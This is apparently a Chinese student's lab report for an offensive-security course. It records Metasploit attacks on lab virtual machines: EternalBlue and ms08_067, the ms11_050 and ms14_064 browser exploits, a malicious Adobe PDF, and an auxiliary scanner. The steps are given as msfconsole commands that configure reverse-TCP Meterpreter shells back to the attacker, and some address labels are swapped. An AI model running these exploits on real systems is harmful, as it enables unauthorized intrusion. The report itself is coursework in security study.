2018-2019-2 20165206 网络攻防技术 Exp5 MSF基础应用
- 2018-2019-2 20165206《网络攻防技术》Exp5 MSF基础应用
- 实验任务
1.1一个主动攻击实践,如ms08_067; (1分)
1.2 一个针对浏览器的攻击,如ms11_050;(1分)
1.3 一个针对客户端的攻击,如Adobe;(1分)
1.4 成功应用任何一个辅助模块。(0.5分)
以上四个小实践可不限于以上示例,并要求至少有一个是和其他所有同学不一样的,否则扣除0.5分。
- 基础问题回答
(1)用自己的话解释什么是exploit,payload,encode.
exploit-渗透攻击,用于利用漏洞取得权限;
payload-载荷,是在靶机上代码执行的代码,来实现想要完成的事情;
encode-编码,对代码进行伪装,达到能正常运行并且不被查杀的目的;
- 攻击实践
- 主动攻击实践
- ms08_067(失败)
- ms17_010永恒之蓝(成功)
- 针对浏览器的攻击
- ms11_050(失败)
- ms14_064(成功)
- 针对客户端的攻击
- Adobe(成功)
- 成功应用任何一个辅助模块
- ipidseq(成功)(唯一)
- 实验过程
- 主动攻击实践
- ms08_067(失败)
攻击方:kali 192.168.1.234
靶机:winxp 192.168.1.171输入msfconsole指令,打开控制台;
依次输入以下指令进行设置与攻击:
msf > use exploit/windows/smb/ms08_067_netapi
msf exploit(ms08_067_netapi) > show payloads
msf exploit(ms08_067_netapi) > set payload generic/shell_reverse_tcp //tcp反向回连
msf exploit(ms08_067_netapi) > set LHOST 192.168.1.234 //攻击机ip
msf exploit(ms08_067_netapi) > set LPORT 5206//攻击端口
msf exploit(ms08_067_netapi) > set RHOST 192.168.1.171 //靶机ip,特定漏洞端口已经固定
msf exploit(ms08_067_netapi) > exploit //攻击
发现攻击失败,表示无法创建会话,我更换了靶机、上网查询找寻解决措施-关闭防火墙等都没能解决,可能是所用的靶机版本有1、高,补丁已经修复了。
- ms17_010永恒之蓝(成功)
攻击方:kali 172.20.10.4
靶机:win7 172.20.10.2输入msfconsole指令,打开控制台;
依次输入以下指令进行设置与攻击:
use exploit/windows/smb/ms17_010_eternalblue //使用漏洞
set payload windows/x64/meterpreter/reverse_tcp //选择攻击载荷
set RHOST 172.20.10.4 //设置攻击方ip
set LHOST 172.20.10.2 //设置靶机ip
exploit
开始攻击失败,同样是会话无法创建的问题:
我后来更换了靶机,攻击成功;
- 使用ipconfig指令可以查看靶机ip地址等,发现是一致的。
- 针对浏览器的攻击
- ms11_050(失败)
攻击方:kali 172.20.10.4
靶机:win7 172.20.10.2输入msfconsole指令,打开控制台;
依次输入以下指令进行设置与攻击:
msf > use windows/browser/ms11_050_mshtml_cobjectelement //使用浏览器ms11_050漏洞
msf exploit(ms11_050_cobjectelement) > set payload windows/meterpreter/reverse_http //使用http反向回连
msf exploit(ms11_050_cobjectelement) > set LHOST 172.20.10.4 //攻击方ip
msf exploit(ms11_050_cobjectelement) > set LPORT 5206 //攻击方攻击端口固定
msf exploit(ms11_050_cobjectelement) > set URIPATH 5206hx //统一资源标识符路径设置
使用show options指令查看配置的相关信息;
使用exploit进行攻击,并将生成的网址在靶机中打开,表示网页打开失败,浏览器停止工作,攻击失败,更改ie浏览器的安全选项也没有解决;
- ms14_064(成功)
攻击方:kali 172.20.10.4
靶机:winxp 172.20.10.5 / win7 172.20.10.2输入msfconsole指令,打开控制台;
依次输入以下指令进行设置与攻击:
use exploit/windows/browser/ms14_064_ole_code_execution //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
此时使用info指令查看详细信息,发现可选xp和win7两个攻击的靶机系统,两个我都进行尝试了;
- 继续输入指令进行设置:
set SRVHOST 172.20.10.4 //设置攻击方IP
set AllowPowerShellPrompt true //因为msf中自带的漏洞利用exp调用的是 powershell。 所以msf中的exp代码只对安装powershell的系统生效
set LHOST 172.20.10.5 //攻击方ip
set LPORT 5330 //攻击方攻击端口
set target 0/1 //设置winXP/win7靶机
exploit //发起渗透攻击
将生成的网址在靶机中打开;
靶机为win7时,攻击始终发送不过去,攻击失败
- 靶机为winxp时,可以发现会话已经创建,攻击成功;
输入sessions -i 1指令获取会话连接,输入ipconfig指令可以查看靶机的ip地址等信息,发现一致;
- 针对客户端的攻击
- Adobe(成功)
攻击方:kali 172.20.10.4
靶机:winxp 172.20.10.5输入msfconsole指令,打开控制台;
依次输入以下指令进行设置:
use windows/fileformat/adobe_cooltype_sing //选择攻击模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 172.20.10.4 //攻击方IP
set LPORT 5206 //攻击方攻击端口
set FILENAME 20165206exp5.pdf //生成的文件名
在终端中,将生成的文件按照文件路径复制出来,并复制到靶机中;
在kali中重新打开,并输入以下指令进行监听:
use exploit/multi/handler //进入监听模块
set payload windows/meterpreter/reverse_tcp //设置tcp反向连接
set LHOST 172.20.10.4 //攻击方IP
set LPORT 5206 //攻击方攻击端口
exploit //监听
在靶机中打开20165206exp5.pdf的文件;
发现攻击成功,输入ipconfig指令可以查看靶机的ip地址等信息,发现一致;
- 关闭20165206exp5.pdf文件,会话关闭;
- 成功应用任何一个辅助模块
- ipidseq(成功)(唯一)
ipidseq功能:扫描网段中的存活ip,识别被发现主机的IPID(用于跟踪IP包的次序的一种技术)序列模式,并且表示出哪些是0、随机或递增的。
TCP空闲扫描:是一种高级的nmap扫描方式,这种扫描方式能让我们冒充网络上另一台主机的IP地址对目标进行更为隐秘的扫描。
输入show auxiliary查看所有辅助模块,并输入use scanner/ip/ipidseq选择攻击模块;
输入show payloads,并输入set payload windows/meterpreter/reverse_tcp指令进行选择;
输入show options指令查看相关信息;
设置靶机ip、攻击方ip等信息,输入exploit指令进行攻击;
攻击成功,完成扫描;
- 实践总结与体会
- 这次实验算是实战的开始吧,初步学习并尝试了漏洞的搜索、攻击模块的选择等,遇到了很多问题,但也学到了不少知识,收获很大。
- 离实战还缺些什么技术或步骤?
- 目前的水平距离实战还很远,首先实验中的攻击大多参考与学长学姐的博客,不足的地方还很多;其次,实验中使用的不少漏洞都已经被修复了,在实战中都不能成功的;还有就是实验中靶机也是反复尝试找到适合的,同一个攻击、同一个步骤在不同的靶机上都有不同的结果,距离实战灵活性较差。
- JavaScript 教程
- JavaScript 编辑工具
- JavaScript 与HTML
- JavaScript 与Java
- JavaScript 数据结构
- JavaScript 基本数据类型
- JavaScript 特殊数据类型
- JavaScript 运算符
- JavaScript typeof 运算符
- JavaScript 表达式
- JavaScript 类型转换
- JavaScript 基本语法
- JavaScript 注释
- Javascript 基本处理流程
- Javascript 选择结构
- Javascript if 语句
- Javascript if 语句的嵌套
- Javascript switch 语句
- Javascript 循环结构
- Javascript 循环结构实例
- Javascript 跳转语句
- Javascript 控制语句总结
- Javascript 函数介绍
- Javascript 函数的定义
- Javascript 函数调用
- Javascript 几种特殊的函数
- JavaScript 内置函数简介
- Javascript eval() 函数
- Javascript isFinite() 函数
- Javascript isNaN() 函数
- parseInt() 与 parseFloat()
- escape() 与 unescape()
- Javascript 字符串介绍
- Javascript length属性
- javascript 字符串函数
- Javascript 日期对象简介
- Javascript 日期对象用途
- Date 对象属性和方法
- Javascript 数组是什么
- Javascript 创建数组
- Javascript 数组赋值与取值
- Javascript 数组属性和方法
- ubuntu系统修改时区和时间的方法
- CentOS7 LNMP+phpmyadmin环境搭建 第一篇虚拟机及centos7安装
- flutter 输入框组件TextField的实现代码
- Mac通过不同终端SSH连接远程服务器的讲解
- Linux关于透明大页的使用与禁用介绍
- linux中使用grep命令详解
- linux下使用cmake编译安装mysql的详细教程
- Linux CentOS 7.0中java安装与配置环境变量的步骤详解
- Linux下进程数量的限制pid_max的配置方法
- linux 进程数最大值修改方法
- Linux通过设备号找到设备的方法
- linux环境下安装 openOffice 并启动服务 的方法
- Linux下如何查杀stopped进程详解
- Linux文件服务器实战详解(匿名用户)
- ubuntu16.0.4 设置固定ip地址的方法